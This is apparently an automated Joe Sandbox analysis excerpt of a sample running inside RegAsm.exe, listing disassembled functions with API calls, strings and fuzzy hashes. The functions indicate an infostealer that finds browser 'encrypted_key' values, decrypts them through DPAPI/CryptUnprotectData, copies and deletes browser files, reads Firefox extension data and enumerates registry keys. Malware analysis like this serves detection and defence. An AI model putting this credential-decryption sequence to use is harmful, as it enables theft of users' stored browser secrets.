Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: ea570c17900da72c0ff61e466dfdba6c639ea0a5e55046902d87947f1e012f1f
Instruction ID: 3a295e2926d3a661784167dae5cc93d3585e5da9a2cb48fc087cd8b2851d2611
Opcode Fuzzy Hash: ea570c17900da72c0ff61e466dfdba6c639ea0a5e55046902d87947f1e012f1f
Instruction Fuzzy Hash: 8601FBB0D40308BAEB10EBE4DD49B9EBB78AB14705F20809EEA05B62D0D7785585875D

Function 00409D30 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 97COMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 00409A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
Part of subcall function 00409A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
Part of subcall function 00409A10: LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
Part of subcall function 00409A10: ReadFile.KERNEL32(000000FF,?,00000000,00410127,00000000), ref: 00409AAA
Part of subcall function 00409A10: LocalFree.KERNEL32(00410127), ref: 00409AE0
Part of subcall function 00409A10: CloseHandle.KERNEL32(000000FF), ref: 00409AEA

Part of subcall function 004188D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 004188F2

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00409D89

Part of subcall function 00409B10: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 00409B3F
Part of subcall function 00409B10: LocalAlloc.KERNEL32(00000040,?,?,?,00404F3E,00000000,?), ref: 00409B51
Part of subcall function 00409B10: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 00409B7A
Part of subcall function 00409B10: LocalFree.KERNEL32(?,?,?,?,00404F3E,00000000,?), ref: 00409B8F

memcmp.MSVCRT(?,DPAPI,00000005), ref: 00409DE2

Part of subcall function 00409BB0: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409BD4
Part of subcall function 00409BB0: LocalAlloc.KERNEL32(00000040,00000000), ref: 00409BF3
Part of subcall function 00409BB0: memcpy.MSVCRT(?,?,?), ref: 00409C16
Part of subcall function 00409BB0: LocalFree.KERNEL32(?), ref: 00409C23

Strings

, xrefs: 00409E11
"encrypted_key":", xrefs: 00409D80
DPAPI, xrefs: 00409DD9

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpymemcmpmemcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 3731072634-738592651
Opcode ID: 209fcced0cebbcd9d98fd25c66d0a056032fde6eaf131180374a84eccdf71de6
Instruction ID: 7f392d33d6ad21de2d61bb21213a98381b23072c845d074b64d64ac31095145a
Opcode Fuzzy Hash: 209fcced0cebbcd9d98fd25c66d0a056032fde6eaf131180374a84eccdf71de6
Instruction Fuzzy Hash: 7A3150B5D00108ABCB04DBE4DC45AEF77B8AF48304F44856AE915B3282E7789E44CBA5

Function 6CA2C930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6CA2C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6CA2C969
GetSystemInfo.KERNEL32(?), ref: 6CA2C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6CA2C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6CA2C9E2

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: a34bf47d7c8f41a0c9602d8a711e9b8a4199ecb2827478e0007f81c59a49c3f6
Instruction ID: 82e9ffb699e6a89e25f2f49b412fd7151783d51a99209570b5854af3eb0a518d
Opcode Fuzzy Hash: a34bf47d7c8f41a0c9602d8a711e9b8a4199ecb2827478e0007f81c59a49c3f6
Instruction Fuzzy Hash: 1D216A31751325ABEB18AF64DC85BAE7379FB46708F58411DF907A3A40DF20DC848790

Function 00410580 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 217COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,014FACF8), ref: 004105DA
StrCmpCA.SHLWAPI(00000000,014FACD8), ref: 004106A6
StrCmpCA.SHLWAPI(00000000,014FACC8), ref: 004107DD

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Strings

@ZA, xrefs: 00410880, 00410894, 00410643, 0041075B, 00410646, 0041075E, 00410883

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy
String ID: @ZA
API String ID: 3722407311-3461648394
Opcode ID: 050edae61a4d3f9749d4141d4c69c03e1232729505ebbeb4dfa8e4c1585eb5e4
Instruction ID: dd73e37cf26ee0a5b727ab7f8fa236140303cf2c4538d3aa2ff7e25b79bad790
Opcode Fuzzy Hash: 050edae61a4d3f9749d4141d4c69c03e1232729505ebbeb4dfa8e4c1585eb5e4
Instruction Fuzzy Hash: E6917775B002089FCB28EF65D995FED7775BF94304F00812EE8099F291DB349A59CB86

Function 004105A5 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,014FACF8), ref: 004105DA
StrCmpCA.SHLWAPI(00000000,014FACD8), ref: 004106A6
StrCmpCA.SHLWAPI(00000000,014FACC8), ref: 004107DD

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Strings

@ZA, xrefs: 00410643, 0041075B, 00410646, 0041075E

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy
String ID: @ZA
API String ID: 3722407311-3461648394
Opcode ID: fcd032b42d89d37999175d98cdb522587bd460786a4e9203889f28c81071d24b
Instruction ID: 4e5c4e7109811dd04489307e57989d734427ebddea2fc0f69e8a4a25ed86313c
Opcode Fuzzy Hash: fcd032b42d89d37999175d98cdb522587bd460786a4e9203889f28c81071d24b
Instruction Fuzzy Hash: 82819775B002089FCB28EF65D995EEDB7B5FF94304F10812DE8099F251DB34AA45CB86

Function 00409FF0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(014FAAD8,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF,?,?,?,?,?,?,?,?,?,?,?,0040FF93), ref: 0040A00D
LoadLibraryA.KERNEL32(01502720,?,?,?,?,?,?,?,?,?,?,?,0040FF93), ref: 0040A096

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,014FAA38,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

SetEnvironmentVariableA.KERNEL32(014FAAD8,00000000,00000000,?,00421290,?,0040FF93,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,00420AE6), ref: 0040A082

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 0040A002, 0040A016, 0040A02C

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-4027016359
Opcode ID: 98f1695d904af02a37b217d91b9593f9843d1e0349ae10d65f4fdfb6bad868ab
Instruction ID: 756634b6078292b8205bba75648758324288abb3cd7bb3e0efd9893355994f5a
Opcode Fuzzy Hash: 98f1695d904af02a37b217d91b9593f9843d1e0349ae10d65f4fdfb6bad868ab
Instruction Fuzzy Hash: 8D41E471804604AFC724EFB4EC56BAE3776BF48324F15512EF405A32A0D7B85986CB97

Function 00417E7C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00417EC6
wsprintfA.USER32 ref: 00417EF9
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00417F1B
RegQueryValueExA.KERNEL32(00000000,01502B58,00000000,000F003F,?,00000400), ref: 00417F8C
lstrlenA.KERNEL32(?), ref: 00417FA1
RegQueryValueExA.KERNEL32(00000000,01502A38,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00420B24), ref: 00418039
RegCloseKey.KERNEL32(00000000), ref: 004180A8

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Strings

%s\%s, xrefs: 00417EED

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: QueryValue$CloseEnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 1452615360-4073750446
Opcode ID: 553c2d608a528252f8b38103267033d7da266f1b4f3ba32ca31a7b9f0149bb92
Instruction ID: 0d61fbe7999a289fff57b0559f919f0328d455d47faa6f76a7bc41a93025e826
Opcode Fuzzy Hash: 553c2d608a528252f8b38103267033d7da266f1b4f3ba32ca31a7b9f0149bb92
Instruction Fuzzy Hash: 2B211971A0021CABDB24DF54DC85FD9B7B9FB48714F00C199A609A6280DF756AC6CF98

Function 0040A1B0 Relevance: 6.4, APIs: 4, Instructions: 360filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00418600: GetSystemTime.KERNEL32(?,01501740,0042059E,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418626

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

CopyFileA.KERNEL32(00000000,00000000,00000001,00000000,?,00000000,01502AE0,00420AE7), ref: 0040A231
lstrlenA.KERNEL32(00000000), ref: 0040A5EA

Part of subcall function 00409E60: memcmp.MSVCRT(0040B741,v10,00000003), ref: 00409E7B
Part of subcall function 00409E60: memset.MSVCRT ref: 00409EAE
Part of subcall function 00409E60: LocalAlloc.KERNEL32(00000040,?), ref: 00409EFE

lstrlenA.KERNEL32(00000000,00000000), ref: 0040A32D
DeleteFileA.KERNEL32(00000000), ref: 0040A671

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$AllocCopyDeleteLocalSystemTimememcmpmemset
String ID:
API String ID: 3258613111-0
Opcode ID: 36a74ea1230075ad71587cbf01b9a030c05e942987fb1e28ab28b29cfef64eb4
Instruction ID: babd7ff3150fa9bd4e199d5026f054df416ea87c2dc191fa558e2381e0c2d671
Opcode Fuzzy Hash: 36a74ea1230075ad71587cbf01b9a030c05e942987fb1e28ab28b29cfef64eb4
Instruction Fuzzy Hash: 17D12472811108AACB14FBA5DC96EEE7338AF14314F50815EF51772091EF786A9CCB7A

Function 0040D5C0 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00418600: GetSystemTime.KERNEL32(?,01501740,0042059E,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418626

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

CopyFileA.KERNEL32(00000000,00000000,00000001,00000000,?,00000000,01502AE0,00420B4F), ref: 0040D641
lstrlenA.KERNEL32(00000000), ref: 0040D7DF
lstrlenA.KERNEL32(00000000), ref: 0040D7F3
DeleteFileA.KERNEL32(00000000), ref: 0040D872

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 92c28d119a4a39286c08cee0936eaa303b5a3041168926976e30b3ec55866def
Instruction ID: b9a8a4b288ee9f939e53bd87e1647cffb120ee14b7120403b064e1d16f2d4ef2
Opcode Fuzzy Hash: 92c28d119a4a39286c08cee0936eaa303b5a3041168926976e30b3ec55866def
Instruction Fuzzy Hash: DC814472911108ABCB14FBB1DC96EEE7339AF54318F40452EF40772091EF786A58CB6A

Function 0040F2E0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00409A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
Part of subcall function 00409A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
Part of subcall function 00409A10: LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
Part of subcall function 00409A10: ReadFile.KERNEL32(000000FF,?,00000000,00410127,00000000), ref: 00409AAA
Part of subcall function 00409A10: LocalFree.KERNEL32(00410127), ref: 00409AE0
Part of subcall function 00409A10: CloseHandle.KERNEL32(000000FF), ref: 00409AEA

Part of subcall function 004188D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 004188F2

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00421524,00420D7A), ref: 0040F38C
lstrlenA.KERNEL32(00000000), ref: 0040F3AB

Strings

^userContextId=4294967295, xrefs: 0040F3DC
moz-extension+++, xrefs: 0040F3ED

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: e121cfe9fe32b2af70db67326c4d489dbb6a6b3d1a5b39116d89c40605fc136a
Instruction ID: 29c62e45bd112fa8e6d3d1c16e218030d21c495d55cc38802304d1b40baba72e
Opcode Fuzzy Hash: e121cfe9fe32b2af70db67326c4d489dbb6a6b3d1a5b39116d89c40605fc136a
Instruction Fuzzy Hash: D2513175D01108AACB04FBB1DC56DEE7338AF94314F40812EF81767191EE7C6A58CB6A

Function 004178A0 Relevance: 6.1, APIs: 4, Instructions: 58memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 004178D7
HeapAlloc.KERNEL32(00000000), ref: 004178DE
RegOpenKeyExA.KERNEL32(80000002,014FC630,00000000,00020119,?), ref: 004178FE
